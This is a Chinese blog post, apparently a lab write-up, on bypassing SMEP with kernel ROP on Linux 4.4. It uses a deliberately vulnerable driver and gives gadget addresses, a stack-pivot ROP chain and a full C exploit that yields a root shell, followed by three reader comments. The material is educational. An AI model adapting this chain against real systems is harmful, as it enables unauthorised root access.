Linux Kernel ROP 发表于 2016-09-16 | 分类于 漏洞利用 | 3 条评论 > 这篇博客是对[Linux Kernel ROP - Ropping your way to # (Part 1)][1]和[Linux Kernel ROP - Ropping your way to # (Part 2)][2]的学习总结 # 1. Kernel ROP 在内核漏洞利用中一般会涉及到提权,最经典的就是通过**ret2user**攻击执行用户空间的如下代码来实现 ```c void __attribute__((regparm(3))) payload() { commit_creds(prepare_kernel_cred(0); } ``` 随着漏洞利用缓解技术的发展,Intel CPU新增了类似用户层的**DEP**防御措施**SMEP**,这可以使在内核层不能执行用户空间的代码而只能执行内核空间的代码,跟绕过DEP类似可以使用Kernel ROP来绕过SMEP。例如在x86_64架构下可以使用如下ROP链来进行提权 ![image_1b7nfsirn172t1vvea3j1o2e1evh9.png-14.4kB][3] [1]: https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---%28Part-1%29/ [2]: https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---%28Part-2%29/ [3]: http://static.zybuluo.com/birdg0/r1an5krwuh83d4mlfbmm8zgz/image_1b7nfsirn172t1vvea3j1o2e1evh9.png [4]: http://static.zybuluo.com/birdg0/kchjf9kn6q8frgpko5y8uhuz/image_1b7nrctsi1b51oq16431aou1ctj9.png # 2. 测试环境 ```bash $ uname -a Linux bird-pc 4.4.0-38-generic #57~14.04.1-Ubuntu SMP Tue Sep 6 17:20:43 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ``` # 3. 获取gadgets 首先用[extract-vmlinux](https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux)脚本抽取出未经压缩的内核 ```bash $ sudo ./extract-vmlinux /boot/vmlinuz-4.4.0-38-generic > vmlinux ``` 然后用ROPgadget搜索需要的gadget ```bash $ ROPgadget --binary vmlinux > ropgadget $ grep ': pop rdi ; ret' ropgadget 0xffffffff810598fd : pop rdi ; ret $ grep ': pop rdx ; ret' ropgadget 0xffffffff811dd5b0 : pop rdx ; ret $ grep ': mov rdi, rax ; call rdx' ropgadget 0xffffffff810152bf : mov rdi, rax ; call rdx ``` 另外再获取`prepare_kernel_cred`和`commit_creds`的地址 ```bash $ sudo cat /proc/kallsyms | grep 'prepare_kernel_cred' ffffffff8109db00 T prepare_kernel_cred $ sudo cat /proc/kallsyms | grep 'commit_creds' ffffffff8109d820 T commit_creds ``` 得到这些地址后就可以通过如下ROP链来进行提权 ```bash 0xffffffff810598fd # pop rdi ; ret NULL 0xffffffff8109db00 # prepare_kernel_cred() 0xffffffff811dd5b0 # pop rdx ; ret 0xffffffff8109d820 # commit_creds() 0xffffffff810152bf # mov rdi, rax ; call rdx ``` # 4. 开发一个含有漏洞的驱动程序 ```c struct drv_req { unsigned long offset; }; ... static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) { struct drv_req *req; void (*fn)(void); switch(cmd) { case 0: req = (struct drv_req *)args; printk(KERN_INFO "size = %lx\n", req->offset); printk(KERN_INFO "fn is at %p\n", &ops[req->offset]); fn = &ops[req->offset]; fn(); break; default: break; } return 0; } ``` 通过改变**offset**可以执行任意地址处的指令,编译[代码](https://github.com/vnik5287/kernel_rop)并加载此内核模块,通过dmesg命令查看输出得到`ops`的地址 ```bash $ make && sudo insmod ./drv.ko $ dmesg | tail [31065.804570] addr(ops) = ffffffffc06d1480 ``` 修改权限让普通用户可以访问此驱动 ```bash $ sudo chmod a+r /dev/vulndrv ``` 之后就可以通过如下代码交互 ```c #define DEVICE_PATH "/dev/vulndrv" ... int main(int argc, char **argv) { int fd; struct drv_req req; req.offset = atoll(argv[1]); fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } ioctl(fd, 0, &req); return 0; } ``` # 5. Exploit 由于在用户空间上设置ROP链更加方便,因此先把栈迁移到用户空间,一般栈迁移常用如下gadget - `mov %rsp, %rXx ; ret` - `add %rsp, ...; ret` - `xchg %rXx, %rsp ; ret` 由于执行`fn()`时最后的指令是`call rax`,因此这里使用`xchg eax, esp ; ret`来进行栈迁移,用如下脚本来获取适当的**offset** ```python #!/usr/bin/env python import sys base_addr = int(sys.argv[1], 16) f = open(sys.argv[2], 'r') # gadgets for line in f.readlines(): target_str, gadget = line.split(':') target_addr = int(target_str, 16) # check alignment if target_addr % 8 != 0: continue offset = (target_addr - base_addr) / 8 print 'offset =', (1 << 64) + offset print 'gadget =', gadget.strip() print 'stack addr = %x' % (target_addr & 0xffffffff) break ``` ```bash $ cat ropgadget | grep ': xchg eax, esp ; ret' > gadgets $ python kernel_rop/find_offset.py 0xffffffffc06d1480 ./gadgets offset = 18446744073577504571 gadget = xchg eax, esp ; ret 0x141 stack addr = 81760e58 ``` 然后就可以通过如下payload来进行提权 ```c unsigned long *fake_stack; mmap_addr = stack_addr & 0xfffff000; assert((mapped = mmap((void*)mmap_addr, 0x2000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_POPULATE|MAP_FIXED|MAP_GROWSDOWN, 0, 0)) == (void*)mmap_addr); fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff810598fdUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0x141 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= 0xffffffff8109db00UL; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff811dd5b0UL; /* pop %rdx; ret */ *fake_stack ++= 0xffffffff8109d826UL; // commit_creds() + 2 instructions,不破坏栈布局 *fake_stack ++= 0xffffffff810152bfUL; /* mov %rax, %rdi; call %rdx */ ``` 提权成功后在64位下可以通过`iretq`指令从内核空间返回到用户空间来执行用户层的代码,另外执行`iretq`指令时需要有如下的栈布局 ![image_1b7nrctsi1b51oq16431aou1ctj9.png-13.6kB][4] 可以通过如下代码先保存用户层的`CS`、`EFLAGS`和`SS`寄存器 ```c unsigned long user_cs, user_ss, user_rflags; static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"); } ``` 然后搜索`iretq`gadget ```bash $ objdump -j .text -d vmlinux | grep iretq | head -1 ffffffff817fae97: 48 cf iretq ``` 在64位下执行`iretq`指令前还需要执行`swapgs`指令置换`GS`寄存器和`KernelGSbase MSR`寄存器的内容 ```bash $ objdump -j .text -d vmlinux | grep swapgs -A 20 ffffffff810613e4: 0f 01 f8 swapgs ffffffff810613e7: 5d pop %rbp ffffffff810613e8: c3 retq ``` 完整的ROP链如下 ```c save_state(); fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff810598fdUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0x141 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= 0xffffffff8109db00UL; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff811dd5b0UL; /* pop %rdx; ret */ *fake_stack ++= 0xffffffff8109d826UL; // commit_creds() + 2 instructions,不破坏栈布局 *fake_stack ++= 0xffffffff810152bfUL; /* mov %rax, %rdi; call %rdx */ *fake_stack ++= 0xffffffff810613e4UL; // swapgs ; pop rbp ; ret *fake_stack ++= 0xdeadbeefUL; // dummy placeholder *fake_stack ++= 0xffffffff817fae97UL; /* iretq */ *fake_stack ++= (unsigned long)shell; /* spawn a shell */ *fake_stack ++= user_cs; /* saved CS */ *fake_stack ++= user_rflags; /* saved EFLAGS */ *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ *fake_stack ++= user_ss; /* saved SS */ ``` 最后编译EXP执行获得root权限的shell ```bash $ gcc rop_exploit.c -O2 -o rop_exploit $ ./rop_exploit 18446744073577504571 ffffffffc06d1480 array base address = 0xffffffffc06d1480 stack address = 0x81760e58 # id uid=0(root) gid=0(root) 组=0(root) ``` # 6. 完整EXP ```c #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include "drv.h" #define DEVICE_PATH "/dev/vulndrv" unsigned long user_cs; unsigned long user_ss; unsigned long user_rflags; static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); } void shell(void) { if(!getuid()) system("/bin/sh"); exit(0); } void usage(char *bin_name) { fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name); } int main(int argc, char *argv[]) { int fd; struct drv_req req; void *mapped, *temp_stack; unsigned long base_addr, stack_addr, mmap_addr, *fake_stack; if (argc != 3) { usage(argv[0]); return -1; } req.offset = strtoul(argv[1], NULL, 10); base_addr = strtoul(argv[2], NULL, 16); printf("array base address = 0x%lx\n", base_addr); stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff; fprintf(stdout, "stack address = 0x%lx\n", stack_addr); mmap_addr = stack_addr & 0xffff0000; assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr); assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000); save_state(); fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff810598fdUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0x141 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= 0xffffffff8109db00UL; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff811dd5b0UL; /* pop %rdx; ret */ //*fake_stack ++= 0xffffffff8109d820UL; /* commit_creds() */ *fake_stack ++= 0xffffffff8109d826UL; // commit_creds() + 2 instructions *fake_stack ++= 0xffffffff810152bfUL; /* mov %rax, %rdi; call %rdx */ *fake_stack ++= 0xffffffff810613e4UL; // swapgs ; pop rbp ; ret *fake_stack ++= 0xdeadbeefUL; // dummy placeholder *fake_stack ++= 0xffffffff817fae97UL; /* iretq */ *fake_stack ++= (unsigned long)shell; /* spawn a shell */ *fake_stack ++= user_cs; /* saved CS */ *fake_stack ++= user_rflags; /* saved EFLAGS */ *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ *fake_stack ++= user_ss; /* saved SS */ fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } ioctl(fd, 0, &req); return 0; } ```
Information well considered.!
为什么在call rdx后,不会破坏后面的栈结构,commit_cred中有push操作,会将栈上的数据覆盖,所以为什么还能保持后面的栈的结构?
跳过了commit_cred开头的两条指令执行的